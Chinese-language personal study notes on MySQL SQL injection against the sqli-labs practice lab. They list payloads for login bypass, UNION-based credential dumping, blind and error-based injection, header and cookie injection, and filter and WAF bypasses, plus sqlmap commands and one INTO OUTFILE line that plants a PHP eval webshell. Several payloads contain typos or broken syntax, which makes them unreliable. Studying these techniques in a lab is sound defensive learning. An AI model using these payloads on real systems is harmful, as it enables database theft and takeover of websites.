这是个笔记,没自己试过,就是涨姿势的。
很好的资料:
随笔分类 - sqli-labs通关详解
Sqli-labs 博客目录
渗透测试/黑客入门/漏洞学习视频教程
简单了解
1. 解释型语言&编译型语言
可参考什么是编译型语言和解释型语言
- 解释型语言在运行时由运行时组件解释语言代码,并执行解释后的机器语言,边运行边执行。解释型语言中如果程序需要与用户交互,用户可以构造特殊的输入拼接到程序中执行,从而使程序依据用户的输入执行恶意行为的代码;(运行期间被动态编译和执行,跨平台性能好)
- 编译型语言在生成代码时转换为机器语言文件,在运行时直接由使用该语言的计算机执行这些指令。(编译后可执行,运行速度快)源代码-->目标代码-->执行
SQL注入漏洞产生的前提:
- 用户可控输入
- 输入的内容与数据库交互
- 服务器没有对输入进行严格的过滤
3. 下面是两个SQL注入的例子。
①例如,在登陆案例中,查询的SQL语句如下:
select * from admin where username='用户输入的用户名' and password='用户输入的密码'
如果在未过滤的情况下,直接将用户的输入拼接到SQL中进行查询,使用下面的SQL进行探测:'or 1=1 --空格(注意一定要有个空格),那么拼接后得到的SQL:
select * from admin where username=''or 1=1 --'and password='用户输入的密码'
or 1=1永远为真,--注释后的内容不再执行,SQL会返回admin表中的所有内容
万能密码测试:可以用burpsuite进行探测
②CMS SQL注入:
CMS的逻辑,假设index.php首页展示内容,具有文章列表(链接中由文章id),articles.php文件详细页,URL中article.php?id=文章id读取id文章,使用下面的SQL注入验证:
单引号'
and 1=1
and 1=2
如果页面中出现了MySQL报错,证明该页面存在SQL注入漏洞
Sqlmap是检测和利用SQL注入漏洞的强大工具
MySQL注入有关知识点
1. Mysql 5.x数据结构
默认定义了information_schema数据库,用来存储数据库的元信息,例如schemata数据库名、tables表名、columns列名或字段名
schemata表中,shcema_name字段存储数据库名
tables表中,table_schema和table_name分别用来存储数据库名和表名
columns表中,table_schema(数据库名)、table_name表名、column_name字段名
利用navicat for MySQL查看结构,以上三个表用来SQL注入之前获取表的数据
2. SQL增删改查
SELECT 列名 FROM 表名 WHERE 字段1=‘条件1’ AND 字段2=‘条件2’
INSERT INTO table_name (列1,列2,...) VALUES (值1,值2,...)
UPDATE 表名 SET 列名=新值 WHERE 列名=某值
DELETE FROM 表名 WHERE 列名=值
3. Mysql常用函数
聚合函数:
user()查看当前Mysql登陆用户名 select user()
database()查看当前使用Mysql数据库名 select database()
version()查看当前Mysql版本
limit关键字 分页 limit m,n 索引从0开始,从m,数n个
4. 注释
MySQL的注释方式有三种,
# 到该行结束
--空格 到该行结束(其中,空格如果被浏览器转义后是%20)
/**/ 多行注释
内联注释:/*!SQL语句*/ 只有Mysql可识别,常用来绕过WAF
例如select * from articles where id=id
内联注释注入:select * from articles where id=-1 /*!union*//*!select*/ 1,2,3,4
环境搭建:
Linux下使用kali linux
windows下安装phpStudy环境,sqlmap, github上的sqli-lab
GET基于报错的SQL注入
SQL注入的分类:
根据注入位置的数据类型分为数字型注入和字符型注入。
- 数字型: 例如 select * from table where id = 用户输入id
- 字符型:例如 select * from table where id = '用户输入id'
GET基于报错的SQL注入发现
通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠来探测URL中是否存在注入点。
GET基于报错的SQL注入的利用
- 利用order by判断字段数
- 利用union select联合查询获取数据库名
0' union select 1,group_concat(table_schema),3 from information_schema.tables --+
- 利用union select联合查询,获取表名(0可以写成-1等一定会报错的数字)
0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
- 利用union select联合查询,获取字段名
0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='上一步的表名' --+
- 利用union select 联合查询,获取字段值
0' union select 1,group_concat(username,0x3a,password),3 from users--+
使用Sqlmap
- 获取当前数据库名
sqlmap -u "http://10.10.10.137/sqli-labs/Less-1/?id=1" --current-db
# 结果为当前数据库名
- 获取所有的数据库名
sqlmap -u "http://10.10.10.137/sqli-labs/Less-1/?id=1" --dbs
# 结果为所有的数据库名
- 获取表名
sqlmap -u "http://10.10.10.137/sqli-labs/Less-1/?id=1" -D security --tables
# 结果为 security 数据库的表名
- 获取列名
sqlmap -u "http://10.10.10.137/sqli-labs/Less-1/?id=1" -D security -T users --columns
# 结果为 security 数据库的 users 表的列名
- 获取数据
sqlmap -u "http://10.10.10.137/sqli-labs/Less-1/?id=1" -D security -T users -C id --dump-all
# 结果为数据
不再显示错误的备注
盲注Blind SQL
盲注是注入攻击的一种,向数据库发送true或false的问题(例如在MySQL中插入if语句),并根据应用程序返回的信息判断结果。这种攻击的出现是因为应用程序配置为只显示常规错误,但并没有解决SQL注入存在的代码问题。
当攻击者利用SQL注入漏洞进行攻击时,有时候web应用程序会显示后端数据库执行SQL查询返回的错误信息。Blind SQL与常规注入很接近,不同的是数据库返回数据的检索方式。若数据库没有输入数据到web页面,攻击者会询问一些列的true或false问题,强制从数据库获取数据。
盲注分为基于布尔型的盲注和基于时间的盲注
GET基于时间的 盲注
p.s. 可以使用left(database(),1)来对数据库的名字进行枚举(可以用二分法)
if(ascii(substr(database(),1,1)=115,0,sleep(3)))表示当数据库名第一个字母的ascii码不等于115时,执行一次sleep(3)函数等待3s。(在执行之前记得闭合)
substr(str,pos,num) :截取指定位置指定长度的字符串,简单说substr(*,1,1)就是第一位的一个字符长度。
利用BENCHMARK()进行延时注入,当结果正确时,运行ENCODE(‘MSG’,’by 5 seconds’)操作50000000 次,会占用一段时间。
http://10.10.10.137/sqli-labs/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115)*--*/,BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+
参考自博客原创 基于GET的盲注
步骤1:爆数据库名——使用'进行SQL闭合后,使用and length(database())判断长度;枚举当前数据库名——盲注,使用IF和等待时间构造判断每一个字符/使用ascii码或者left函数判断每一个字符(如下)。
way1
#获取数据库名的长度
1"and length(database())=8--+
#猜测第一位
1"and left(database(),1)>'a'--+
#猜测第二位
1"and left(database(),2)>'sa'--+
way2
#除了上面的left,可以使用substr和ascii码尝试
1' and If(ascii(substr(database(),1,1)=115,0,sleep(3)))--+
步骤2:爆表名——基于时间的盲注or类似于上面的方式,其实也是枚举每一个字符
way1
#表的第一位
and ascii(substr((select table_name from information_schema.tables where tables_schema=database()limit 0,1),1,1))=101
#表的第二个位置:
http://10.10.10.137/sqli-labs/Less-5/?id=1"and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>108--+
way2
?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='上一步获取的数据库名' limit 0,1),1,1))>105, 0,sleep(5)) --+
步骤3:爆字段名——类似于爆表名的方式
MID(column_name, start,length):从字段的指定开始位置提取指定长度的文本。
CAST(expression AS data_type):将某个表达式转换成指定的数据类型。
IFNULL(expression, alt_value):第一个表达式为NULL返回第二个参数值,不为NULL返回第一个表达式的值。
ORD(string):返回一个字符的ascii值。
#看看这个表中是否有us**的列
?id=1' and 1=(select 1 from information_schema.columns where table_name='上一步获取的表名' and table_name regexp '^us[a-z]' limit 0,1) --+
#下面是获取username这个字段的第一行的第一个字符的ascii,然后重复就行了
?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+
GET基于Boolean的盲注
基于布尔型的盲注,通常采用下面的方法:
length(database())或select length(database())
Select sunstr(database(),1,1)
Select ascii(substr(database(),1,1))
Select ascii(substr(database(),1,1))>N
Select ascii(substr(database(),1,1))=N
select(ascii(substr(databse(),1,1))<N
MySQL注入读写文件
MySQL注入读文件
读取前提:
- 用户权限足够高,尽量具有root权限
-
secure_file_priv参数不为NULL
查询show global variables like "secure_file_priv",默认值为NULL
mysql读文件:select load_file(filename)
再使用order by时前面不能报错,使用union时前面需要报错
MySQL注入写文件
下面是在网站中加入一句话木马,可以使用中国菜刀获取和控制整个网站目录。
1'))UNION SELECT 1,2,'<?php @eval($_post[?mima?])?>' into outfile "/var/www/sqli-labs/Less-7/yijuhua.php"--
Sqlmap安全测试
Sqlmap -hh查看详细的帮助信息
POST基于错误的注入
burpsuit抓取HTTP请求
需要安装java
POST基于错误单引号注入
例如原SQL是select uname, passwd from user where uname='XXX' and passwd='xxx'
当我输入的uname为admin\时,反斜杠+'会将其转义,也就变成了以下SQL:
select uname, passwd from user where uname='admin' and passwd='xxx'
上面的第一个'会和passwd='的这个'进行闭合,那么会在密码处出现123456'这样的错误
POST基于错误双引号注入
Sqlmap安全测试
复制截断的HTTP请求数据包到文本文件中,使用sqlmap -r 文件路径 -p 指定探测参数
GET报错注入
报错注入介绍
报错注入形式上是两个嵌套的查询,即select...(select ...),里面的那个select称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:
rand()随机函数,返回0~1之间的某个值,当给定seed种子时每次都能出现固定的数。通过使用SELECT * FROM employee_tbl ORDER BY RAND();对一组记录随机进行初始化排列。
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数,用法参考https://www.cnblogs.com/-zhong/p/10892439.html
count()聚合函数也称作计数函数,返回查询对象的总数
Group by clause分组语句,按照查询结果分组通过报错来显示出具体的信息。
例如,SQL语句为select count() from table group by floor(rand(0)2)
GET单引号报错注入
lesson-9SQL注入绕过手段
大小写绕过
如果程序中设置了过滤关键字,但是这种过滤过程中并没有对关键字组成进行深入分析过滤,导致只是对整体进行过滤。例如:and过滤。当然这种过滤知识发现关键字出现,并不会对关键字处理。
通过修改关键字内字母大小写来绕过过滤措施,例如 AnD 1=1
例如在探测当前表的字段过程中,常使用order by数字进行探测,如果过滤了order关键字,可以使用OrdER来进行绕过。
双写绕过
如果在程序中设置出现关键字之后替换为空,那么SQL注入攻击也不会发生。对于这样的过滤策略可以使用双写绕过。因为在过了过程中只进行了以此替换,就是将关键字替换为对应的空。
例如,过滤了union,将其替换为空;那么在注入过程可以使用UniunioNon这样的方式绕过过滤机制。
编码绕过
可以利用网络中的URL在线编码,绕过SQL注入的过滤机制。
内联注释绕过
MySQL中的内联注释可以被当成SQL语句执行
POST基于时间和布尔的注入
HTTP POST
POST发送数据给服务器处理,数据包含在HTTP信息正文中;POST请求会像指定资源提交数据,请求服务器进行处理,例如:表单数据提交、文件上传等,请求数据会被包含在请求体中。POST方法可能会创建新的资源或修改现有资源。使用POST方法时,查询字符串在POST信息中单独存在,和HTTP请求一起发送到服务器。
POST基于时间的注入
若存在注入点POST提交的参数后加and (select if(length(database()>5,sleep(5),null)),如果执行的页面响应时间大于5秒,那么肯定就存在注入,并且对应的SQL语句执行
POST基于布尔的盲注
若存在注入点POST提交的参数后加入if判断正确或错误的语句。
select length(database())
Select substr(database(),1,1)
Select ascii(substr(database(),1,1));
Select ascii(substr(database(),1,1))>N;
Select ascii(substr(database(),1,1))<N;
Select ascii(substr(database(),1,1))=N;
sqlmap安全测试
指定探测技术使用-technique T(time) B(boolean)
HTTP头中的SQL注入
HTTP头中的注入介绍
为防止漏洞和SQL注入的发生,用户提交的参数都会被代码中的某些措施进行过滤。
但HTTP头中提交的内容很有可能没有过滤。可能存在HTTP头注入的参数有User-Agent(客户使用的操作系统、浏览器版本等), cookie, X-forward-For(HTTP请求端真实的IP,在有反向代理服务器的情况下,一般是nginx将IP地址写入,但XFF头部可修改), Client-IP, Rerferer(浏览器向WEB服务器表明自己是从哪个页面链接过来的), Host(客户端指定自己想访问的WEB服务器的域名/IP地址和端口号)等。
HTTP User-Agent注入
例如payload 在此处写
way1
' and undatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'=1'
#way2 好像低版本的MySQL不支持这个函数
' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) or '1'='1
sqlmap安全测试
好像需要在文件中要探测的地方后面加*
POST update语句注入
Mysql upadate介绍
Update table_name set filed1=new_value1 where clause
过滤内容介绍
Mysql update注入
类似于上面的,uname=admin&passwd=admin' or updatexml(1,concat(0x7e,version(),0x7e),1)#&submit=Submit
sqlmap安全测试
Sqlmap -r target.txt -p password
Cookie注入
cookie介绍
服务器利用cookie的信息来筛选和维护信息,以判断在HTTP传输中的状态。常见的是判断用户的登陆状态和“购物车”的处理。
console台输入document.cookie可以查看对应的cookie
cookie注入代码分析
代码中使用cookie传递参数,但没有对cookie中传递的参数进行过滤操作,可能会导致SQL注入漏洞的产生
cookie注入利用
代码中一般是需要登陆上之后,再将这次登陆的cookie存储在数据中,下次再登陆就会从数据库查询存不存在这个cookie
sqlmap
Sqlmap -r target.txt --level 3 --batch,需要在文件对应的位置加*
Cookie base64编码的注入
一种加密方式,从二进制到字符,可用于在HTTP环境下传递较长的标识信息。Base64是网络上最常见的用于传输8bit字节码的编码方式之一,base64就是一种基于64个可打印字符来表示二进制数据的方法。编码过程如下:
将原始内容转换为二进制,从左到右依次取6位,然后在最高位补两位0,形成新的内容。编码规则:1⃣️把三个字符变成4个字符。2⃣️每76个字符加一个换行符3⃣️最后的结束符也要处理。
lesson21中在cookie的基础上进行了base64的加密,select时再对其进行解密,与原来的值进行比较,因此注入的时候,可以将我们的SQL语句闭合之后注入,再手动加密(参见https://tool.oschina.net/encrypt?type=3这个网址),将加密后的替代cookie爆数据库。例如
') union select 1,2,3#
===>将其进行base64编码后得到:
dGhpcyBpcyBhIGV4YW1wbGUnKSB1bmlvbiBzZWxlY3QgMSwyLDMj
👆将这个替换到原来的cookie
Sqlmap
Python sqlmap.py -r target.txt --level 3 --batch --temper base64encode.py
如果不加temper的参数,会探测不到可注入的地方
绕过去除注释符的SQL注入
PHP中可以过滤掉注释符:
preg_replace(mixed replacement, mixed pattern:要搜索的模式,可以是字符串或一个字符串数组。
subject:要搜索替换的目标字符串或字符串数组
如果PHP代码中设置了过滤#和--这种注释,可以用or '1'='1闭合
绕过过滤and和or的SQL注入
Mysql特性:大小写不敏感,会经过十六进制和URL编码,符号和关键字替换,例如and=&&,or=||,内联注释和多行注释。
lesson25 绕过策略:
- 如果PHP中代码没有忽视大小写,那么可以尝试大小写变形来看有没有存在注入。
- 在敏感词汇中添加注释,例如a/**/nd,或者使用双写绕过oorr
- 利用符号代替-and和&&,or和||
Sqlmap -u "URL" --dbs --batch
绕过剔除空格的SQL注入
Lesson 26空格过滤绕过策略:
hex, urlencode空格URL编码,%0a回车,%0c新的一页,%0d return功能,%0b TAB键(垂直)
比如说用1'%0a||'1可以表示1' or'1
1%27union%0bselect%a01,2,3||%271
等价于
1'union select 1,2,3 or'1
Sqlmap -u "URL" --hex --dbs --batch
绕过去除union和select的SQL注入
可以对其使用双写绕过和分别大小写
例如
?id=1000%27%09%09uniOn%09SelEcT%091,2,3%09||%09%271
意思是
?id=1000' union select 1,2,3 or '1
宽字节SQL注入
GBK占用两字节,ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集
注入思路:
- 用%DF将'前面添加的\吃掉:会被PHP当中的addslashes函数转义为"%DF'",\即URL里的%5C,那么也就是说,%DF'会被转为%DF%5C%27,倘若网站的字符集为GBK,MYSQL使用的编码也是GBK,就会认为%DF%5C是一个宽字符,即缞’
?id=-1%df%27union select 1,user(),3--+
- 将 ' 中的 \ 吃掉,例如可以构造 %**%5c%5c%27的情况,后面的%5c会被前面的%5c给注释掉。
Sqlmap -u "URL?id=1%df%27" --search --level 3 --risk 1 --thread 10
Sqlmap -u "http://url/?id=1" --tamper=unmagicquotes.py
二次注入
二次注入指:输入中包含了黑客构造的SQL语句,尽管输入传递给服务端会进行转义并在数据库中进行存储,但转义字符不会插入到数据库中,当再次从数据库中取出这个字符时可能会产生注入的一种情况。可参考https://www.cnblogs.com/-zhong/p/10935060.html
自动化审计
漏洞验证POC
sqlmap更新参数
-purge 以安全模式删除所有sqlmap数据目录
要求是xpath格式字符串,而我们输入的并不是。所以报错。
堆叠注入
其实就是在;后再写一条SQL语句,例如向数据表中插入一条数据:
`?id=1';insert into users(id,username,password) values ('38','less38','hello')-- `